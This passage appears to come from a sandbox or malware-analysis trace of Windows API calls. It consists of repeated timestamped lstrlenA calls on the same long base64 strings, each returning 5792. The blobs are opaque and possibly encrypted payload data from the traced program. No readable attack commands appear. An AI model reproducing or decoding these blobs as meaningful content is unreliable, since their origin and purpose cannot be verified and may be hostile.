QHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.808] lstrlenA (lpString="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") returned 5792 [0163.808] lstrlenA (lpString="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") returned 5792 [0163.808] lstrlenA (lpString="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